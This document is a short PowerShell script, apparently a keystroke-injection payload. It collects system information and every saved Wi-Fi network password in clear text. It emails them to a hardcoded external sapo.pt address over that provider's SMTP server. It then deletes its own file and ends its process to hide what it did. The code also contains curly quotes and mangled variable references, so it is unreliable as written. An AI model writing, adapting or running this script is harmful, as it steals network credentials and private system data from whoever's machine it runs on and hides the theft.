Function sendMail() {$credential=(Get-Credential z35798410@sapo.pt); $info=(systeminfo|out-string)+(netsh wlan show profiles|Select-String -Pattern “All User Profile”|Foreach-Object{$.ToString()}|Foreach-Object{$.Replace(“ All User Profile : “,$null)}|ForEach-Object{netsh wlan show profiles name=”$_” key=clear}|out-string); send-mailMessage -to ‘z35798410@sapo.pt’ -subject ‘report’ -from ‘z35798410@sapo.pt’ -body $info -SmtpServer ‘smtp.sapo.pt’ -credential $credential;(New-Object -ComObject WScript.Shell).SendKeys(‘{CAPSLOCK}’);Remove-Item code.ps1; stop-process -Id $PID;} sendMail